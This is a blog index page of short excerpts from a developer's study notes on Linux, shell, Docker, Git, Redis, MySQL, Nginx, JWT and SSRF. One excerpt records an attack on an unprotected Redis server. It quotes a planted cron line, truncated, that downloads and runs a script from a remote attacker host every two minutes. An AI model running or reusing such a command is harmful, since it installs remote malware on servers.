自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

RealGUO的博客

个人学习笔记

  • 博客(72)
  • 收藏
  • 关注

转载 证书锁定SSL Pinning

在公共网络中通知我们使用安全的SSL/TLS通信协议来进行通信,并且使用数字证书来提供加密和认证我们知道握手环节仍然面临(MIM中间人)攻击的可能性,因为CA证书签发机构也存在被黑客入侵的可能性,同时移动设备也面临内置证书被篡改的风险。证书锁定旨在解决移动端APP与服务端通信的唯一性实际通信过程中,如果锁定过程失败,那么客户端APP将拒绝针对服务器的所有 SSL/TLS 请求FaceBook/Twitter则通过证书锁定以防止Charles/Fiddler等抓包工具中间人攻击。

2023-10-27 16:33:34 1725

原创 Homebrew 进阶

homebrew进阶

2023-02-20 23:37:11 581

原创 tmux入门

tmux入门启动与退出# 进入tmux窗口tmux# 退出tmux窗口exit 或 ctrl+d会话管理# 新建一个指定名称的会话tmux new -s <session-name># 会话与窗口分离(退出当前 Tmux 窗口,但是会话和里面的进程仍然在后台运行。)tmux detach 或 ctrl+d b# 查看当前所有的 Tmux 会话tmux ls# 接入会话tmux attach -t <session-name># 切换会话t

2022-05-07 21:48:54 971

原创 oh my zsh

终端好用神器~

2022-04-25 21:20:23 265

原创 SSRF服务端请求伪造

SSRF服务端请求伪造背景在做一个需求,需要通过url与库内数据做匹配,然后记录匹配结果。但是部分url是重定向的url,重定向之前的url与库中无法匹配,重定向之后的url可以与库中匹配,所以代码中有一段重定向的代码逻辑httpClient = &http.Client{ CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },

2022-01-21 23:46:30 2730

原创 java-linux安装

Centos中安装java下载java8wget https://download.oracle.com/otn/java/jdk/8u311-b11/4d5417147a92418ea8b615e228bb6935/jdk-8u311-linux-aarch64.tar.gz创建/usr/local/java目录,并将压缩包解压到其中tar -zxvf jdk-8u311-linux-aarch64.tar.gz -C /usr/local/java编辑环境变量,在/etc/pr

2022-01-11 11:45:44 430

原创 linux shell

变量定义、输出foo=barecho $fooecho ${foo}echo ${foo}barbarbar使用$()执行命令# echo $(command)echo $(pwd)foo=$(pwd)echo $foo使用特殊变量echo $? # 输出问题$0 # 文件名$1 to $9 # 脚本参数$# # 参数个数$? # 方法返回值,0代表正常$@ # 所有的参数$HOME # 用户

2022-01-10 17:02:38 119

原创 Linux常用命令

变量自增a=1a=$((a+1))a=$(($a+1))a=$[a+1]vima=$[$a+1]grephistory$grep程序, 在没有参数的情况下, 输出包含RE字符串的句子$ grep 搜索的文字 文件或目录$ grep -r 搜索的文字 文件或目录 # 以递归的方式查找符合条件的文件$ grep -v 搜搜的文字 文件或目录 # 反向查找,找出不符合条件的文件# 搜索含有文字1或者文字2的文件$

2022-01-10 17:01:59 591

原创 ssh原理

SSH验证问题今天重置阿里云服务器,用ssh连服务器,发现连不上,防火墙也打开了,猜测服务器没有开启ssh服务器开启ssh步骤要确保CentOS7安装了 openssh-server,在终端中输入 yum list installed | grep openssh-server如果又没任何输出显示表示没有安装 openssh-server,通过输入 yum install openssh-server找到了 /etc/ssh/ 目录下的sshd服务配置文件 sshd_conf

2022-01-10 16:59:23 213

原创 docker再入门

DOCKER(参考)操作镜像拉取镜像$ docker pull [选项] [Docker Registry 地址[:端口号]/]仓库名[:标签]# 比如$ docker pull ubuntu:18.0418.04: Pulling from library/ubuntu92dc2a97ff99: Pull completebe13a9d27eb8: Pull completec8299583700a: Pull completeDigest: sha256:4bc3ae6596938

2022-01-07 23:52:42 987

原创 devops

DevOps工作中,或多或少都听别人聊到过DevOps、瀑布开发、敏捷开发、持续集成、持续交付这些概念,今天来仔细探究一下这些单词。参考一遍不错的文章,讲的很深入浅出:DevOps到底是什么意思?起源一个软件从零开始到最终交付,大概包括以下几个阶段:规划、编码、构建、测试、发布、部署和维护最初,程序比较简单,工作量不大,程序员一个人可以完成所有阶段的工作。随着软件产业的日益发展壮大,软件的规模也在逐渐变得庞大。软件的复杂度不断攀升。一个人已经hold不住了,就开始出现了精细化分工。

2021-12-30 15:19:11 594

原创 git进阶

Git 进阶本地操作# 创建分支,并切换分支git branch newImagegit checkout newImage# 创建分支,并切换分支git checkout -b newImagemerge# 把bugFix分支merge到maingit checkout maingit merge bugFixrebase# 把bugFix分支里的工作移动到main分支上git checkout bugFixgit rebase main# 此时bugFix在main前

2021-12-09 13:12:55 201

原创 redis cluster 重新分片

redis cluster 重新分片redis cluster 重新分片什么是重新分片?实现原理ASK重定向参考:redis cluster 重新分片面试时,可以和面试官聊到redis集群模式中的哈希槽的作用,但是再深点,redis重新分片时,访问被迁移的数据会有问题吗?redis是怎么做的?就答不上来了,故在此总结一下。什么是重新分片?Redis集群的重新分片操作可以将任意数量已经指派给某个节点(源节点)的槽改为指派给另一个节点(目标节点),并且相关槽所属的键值对也会从源节点移动到目标节点。

2021-09-18 00:08:36 562

原创 learn-shell

变量定义、输出foo=barecho $fooecho ${foo}echo ${foo}barbarbar使用$()执行命令# echo $(command)echo $(pwd)foo=$(pwd)echo $foo使用特殊变量echo $? # 输出问题$0 # 文件名$1 to $9 # 脚本参数$# # 参数个数$? # 方法返回值,0代表正常$@ # 所有的参数$HOME # 用户

2021-09-10 10:49:53 157

原创 shell入门

变量定义、输出foo=barecho $fooecho ${foo}echo ${foo}barbarbar使用$()执行命令# echo $(command)echo $(pwd)foo=$(pwd)echo $foo使用特殊变量echo $? # 输出问题$0 # 文件名$1 to $9 # 脚本参数$# # 参数个数$? # 方法返回值,0代表正常$@ # 所有的

2021-09-10 10:40:04 92

原创 TIME_WAIT和CLOSE_WAIT

查看命令查看TIME_WAIT和CLOSE_WAIT状态的连接数量netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' 显示结果:TIME_WAIT 6CLOSE_WAIT 1含义TCP常用的三个状态是:ESTABLISHED 表示正在通信,TIME_WAIT 表示主动关闭,CLOSE_WAIT 表示被动关闭。TCP协议规定,对于已经建立的连接,网络双方要进行四次握手才能成功断开连接,如果缺少了其中某个步

2021-09-09 17:58:49 156

原创 Java 操作ElasticSearch

Java 操作ElasticSearch1、连接ElasticSearch服务器@Configurationpublic class ElasticSearchClientConfig { private static final String CLUSTER_NAME = "*******************************"; private static final String APP_KEY = "******************************";

2021-07-06 15:33:50 827

原创 DevOps

1、简介CI / CD的采用改变了开发人员和测试人员如何发布软件。最初是瀑布模型,后来是敏捷开发,现在是DevOps,这是现代开发人员构建出色的产品的技术路线。随着DevOps的兴起,出现了持续集成(Continuous Integration)、持续交付(Continuous Delivery) 、持续部署(Continuous Deployment) 的新方法。传统的软件开发和交付方法正在迅速变得过时。从历史上看,在敏捷时代,大多数公司会每月,每季度,每两年甚至每年发布部署

2021-07-04 19:54:13 156

原创 Tpyora+PicGO配置

安装picgo之后,怎么填写配置,如下图即可:owner: 用户名repo: 仓库名

2021-07-04 19:26:18 158

原创 MVCC多版本并发控制

MVCC1.概要MVCC(Muti-Version Concurrency Control)作用:在数据库管理系统中,实现对数据库的并发访问原理:维护一个数据的多个版本,使没有读-写冲突概念好处:读-写冲突不加锁,降低开销,提高并发性能2.Innodb实现原理MVCC其实是一个概念。MySQL使用快照读来实现MVCC概念中的一个非阻塞读功能。2.1 快照读和当前读当前读:读取记录的最新版本读取时要保证和其他事务不能并发修改,通过加锁实现select lock in shar

2021-06-07 16:57:51 169

原创 脏读、不可重复读、幻读

MySQL实践第一次遇到mysql的deadlock1. 实验准备1.1 常用mysql事务命令set autocommit=0;start transaction;commit;rollback;-- mysql 5.6 查看隔离级别select @@session.tx_isolation;select @@global.tx_isolation;-- mysql 8.0 查看隔离级别select @@session.transaction_isolation;selec

2021-06-07 14:51:34 215 1

转载 Maven 配置文件、实战

【转载】Maven 配置文件推荐阅读Maven 实战小结1、起因写这篇文章起源于同事一个问题,大概就是进入咱们公司之后,会统一发 maven 的 settings.xml 文件,直接覆盖 maven 自带的就可以正常使用。然后他想知道其中为什么既要配 repository、server 还要配 mirror?这些配置属性含义是什么?这几者之间是什么关系?配了多个 repository 之后查找 jar 的先后顺序是什么?结合 mirror 又会怎么查找?虽然之前有把 Maven 这块作过系统的笔记

2021-05-23 21:57:22 229

转载 【转载】java序列化,看这篇就够了

【转载】java序列化,看这篇就够了一、序列化的含义、意义及使用场景序列化:将对象写入到IO流中反序列化:从IO流中恢复对象意义:序列化机制允许将实现序列化的Java对象转换位字节序列,这些字节序列可以保存在磁盘上,或通过网络传输,以达到以后恢复成原来的对象。序列化机制使得对象可以脱离程序的运行而独立存在。**使用场景:所有可在网络上传输的对象都必须是可序列化的,**比如RMI(remote method invoke,即远程方法调用),传入的参数或返回的对象都是可序列化的,否则会

2021-05-22 23:25:36 224

原创 TCP三次握手、四次挥手、状态转换图、time_wait

2021-05-20 13:06:43 98

原创 awk 简单用法

AWK学习基本内容背景:awk是处理文本文件的一个应用程序,几乎所有 Linux 系统都自带这个程序。它依次处理文件的每一行,并读取里面的每一个字段。对于日志、CSV 那样的每行格式相同的文本文件,awk可能是最方便的工具。# 格式$ awk 动作 文件名# 示例$ awk '{print $0}' demo.txt# 含义$0: 表示当前行$1 $2 $3: 分别表示当前行的第1、2、3个字段NF: 变量 表示当前行有多少个字段$NF: 表示最后一个字段指定分隔符#

2021-05-04 16:41:43 152

转载 MySQL游标

MySQL 游标游标的特性不敏感:数据库可以选择不复制结果集只读不滚动:游标只能向一方向前进,并且不可以跳过任何一行数据游标的优点游标是针对行操作的,对从数据库中 select 查询得到的结果集的 每一行可以进行分开的独立的相同或者不相同的操作,是一种分离的思想。游标的缺点性能不高只能一行一行操作使用游标会产生死锁,造成内存开销大游标的适用场景存储过程函数触发器事件游标的操作1、游标的定义DECLARE

2021-05-04 12:16:41 204

原创 MAC远程连接Windows

MAC远程连接WIN步骤一将windows升级到专业版,家庭版的windows不支持远程连接。升级的方法可以自己到网上查找相关的激活码,或者某宝上购买,大概十几块步骤二将windows升级到专业版之后:打开文件资源管理器右键“此电脑”,选择属性选择左侧的远程桌面,开启远程桌面win键+R → 输入regedit → 进入注册表,找到以下两个分支选项: (注意下面的这两个分支是不相同的)HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\

2021-04-27 23:41:11 3200

原创 卸载wordpress

卸载wordpress由于项目需要,需要使用阿里云的个人服务器的80端口,但是之前配置过wordpress(个人博客)占用了这个端口,当然基本已经放弃使用wordpress了。于是这里记录一下卸载过程1、删除数据库# mysql -uroot -p# 密码# show databases;# drop database wordpress;# exit2、删除wordpress目录cd /var/www/html/rm -rf *简单回顾一下:如果/usr是安装时会占用较大硬

2021-04-20 16:36:00 3685

原创 docker

Docker安装Docker环境准备1、需要会linux基础2、CentOS 73、使用Xshell链接远程服务器进行操作环境查看# 系统内核是 3.10 以上的[root@iz2ze50r0dljy72rs9ihxwz /]# uname -r3.10.0-514.26.2.el7.x86_64# 系统版本[root@iz2ze50r0dljy72rs9ihxwz /]# cat /etc/os-release NAME="CentOS Linux"VERSION="7

2021-04-20 13:17:01 166

原创 跨域 以及 shiro解决

跨域 以及 shiro解决同源策略:协议、域名、端口作用:能帮助阻隔恶意文档,减少可能被攻击的媒介。# 但也导致了跨域的问题的出现:前后端分离# 前端访问后端,不满足同源策略,所以不能访问1、反向代理解决# 配置反向代理来实现跨域# 前端访问代理# 代理访问后端# 代理将结果返回给前端# 从而实现了跨域2、CORS跨域CORS(Cross-Origin Resource Sharing)跨域资源共享,定义了必须在访问跨域资源时,浏览器与服务器应该如何沟通。CORS的基本思想就

2021-04-13 01:21:02 3942

原创 JWT

JWTJWT ----- Json Web Token编码、签名(摘要)、加密# 编码1、解码是为了方便以字节的方式表示数据2、编码和解码的整个过程是可逆的,得知编码方式后,整个 jwt 串便是明文了3、base64# 签名1、签名的目的主要是避免消息被篡改2、将消息和签名算法生成的签名发给客户端3、客户端用相同的密钥将消息签名,然后对比两个签名(相同的密钥应该是通过rsa先商量好)4、签名算法共同的特点是整个过程是不可逆的5、使用带有密钥的签名算法,密钥是服务器和签发者共

2021-04-12 21:15:49 301

原创 Nginx

Nginx常用命令nginx -t # 查看nginx状态nginx -s reload # 重新载入配置文件nginx -s reopen # 重启 Nginxnginx -s stop # 停止 Nginxnginx正则匹配 参考语法规则:location [=|~|~*|^~|!~|!~*] /uri/ { … }模式含义location = /uri= 表示精确匹配loc

2021-04-12 17:53:54 127

原创 http1.0 1.1 2.0

HTTP1.0和1.1区别长连接HTTP 1.0需要使用keep-alive参数来告知服务器端要建立一个长连接,而HTTP1.1默认支持长连接。创建一个TCP连接是需要经过三次握手的,有一定的开销,如果每次通讯都要重新建立连接的话,对性能有影响。因此最好能维持一个长连接,可以用一个长连接来发多个请求。节约带宽HTTP 1.1支持只发送header信息(不带任何body信息),如果服务器认为客户端有权限请求服务器,则返回100,否则返回4开头的这个状态码实际上是对如下场景的一种优化:客户端有

2021-04-03 01:24:04 470

转载 SLB负载均衡

SLB : service load balancer1、负载均衡解决方案基于DNS负载均衡基于硬件负载均衡基于软件负载均衡# DNS负载均衡可以实现在地域上的流量均衡# 硬件负载均衡主要用于大型服务器集群中的负载需求# 软件负载均衡大多是基于机器层面的流量均衡# 在实际场景中,这三种是可以组合在一起使用。2、DNS负载均衡原理1、当用户访问域名的时候,会先向DNS服务器去解析域名对应的IP地址2、DNS服务器根据不同地理位置的用户返回不同的IP。3、比如南

2021-03-30 23:14:34 3702

原创 Git+SSH

Git1、版本控制SVN 集中式的版本控制系统,版本库集中放在中央服务器,工作的时候需要联网Git是分布式的版本控制系统,没有中央服务器,每个人的电脑就是一个完整的版本库。工作的时候不需要联网2、命令# 查看系统configgit config --system --list# 查看当前用户(global)配置git config --global --list# 编辑配置文件git config --global -egit config --global user.name

2021-03-26 13:41:05 557

原创 Spring Boot缓存-原理与实现

Springboot 缓存1、JSR-107Spring从3.1开始定义了org.springframework.cache.Cache和org.springframework.cache.CacheManager接口来统一不同的缓存技术;并支持使用JCache(JSR-107)注解简化我们开发;1 Cache接口为缓存的组件规范定义,包含缓存的各种操作集合;2 Cache接口下Spring提供了各种xxxCache的实现,如RedisCache,EhCacheCache ,Concurrent

2021-03-26 01:11:24 357

转载 逃逸分析的好处

逃逸分析转载于:对象和数组并不是都在堆上分配内存的。随着JIT编译期的发展与逃逸分析技术逐渐成熟,栈上分配、标量替换优化技术将会导致一些微妙的变化,所有的对象都分配到堆上也渐渐变得不那么“绝对”了。1、什么是逃逸分析1、逃逸分析(Escape Analysis)是目前Java虚拟机中比较前沿的优化技术。2、是一种可以有效减少Java 程序中同步负载和内存堆分配压力的跨函数全局数据流分析算法。3、通过逃逸分析,Java Hotspot编译器能够分析出一个新的对象的引用的使用范围从而决定是否要将

2021-03-25 20:49:36 430

原创 redis 入门+掌握

Redis1、为什么要用Nosql大数据----一般的数据库无法分析处理了2006 年, hadoop就已经发布了SpringBoot + SpringCloud一定要逼着自己学习,压力越来越大,适者生存1、单继Mysql的年代1、一个基本的网站访问量不会太大,单个数据库完全足够2、服务器没有太大压力思考:这种网站的瓶颈是什么?1、数据量如果太大,一个机器放不下2、数据的索引,mysql单表超过300万数据,就一定要建立索引。3、数据库的访问量太大了,服务器承载不了只要出现以

2021-03-19 14:46:20 761 2

原创 Redis 6379 被攻击

Redis 6379 被攻击刚开始使用redis,把端口打开了,然后没有设置密码,导致被恶意攻击,这里记录一下。[root@realguo ~]# redis-cli127.0.0.1:6379> keys *1) "backup2"2) "backup1"3) "backup4"4) "backup3"127.0.0.1:6379> get backup1"\n\n\n*/2 * * * * root cd1 -fsSL http://zzhreceive.anondn

2021-03-18 10:27:01 2226 4

原创 验证码验证 + 单点登录简单理解

注册时验证码验证 问题情景:在开发速印后端的时候,有发验证码验证这一环节,当时是把验证码发给前端和用户,然后前端来判断是否匹配。现在又回到了这个问题,正常来说,肯定是后端来验证这个验证码,那要怎么验证呢?cookie + session,用户申请账号时,设置一个cookie,然后用户传来验证码时,通过cookie来判断这个用户对应的验证码是哪个可能描述的不是很清楚,再描述一下问题:如果多个用户同时注册,怎么区分每个用户对应哪个验证码呢?1、验证码的有效期放在redis上面,key就是c

2021-03-17 20:15:19 869

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除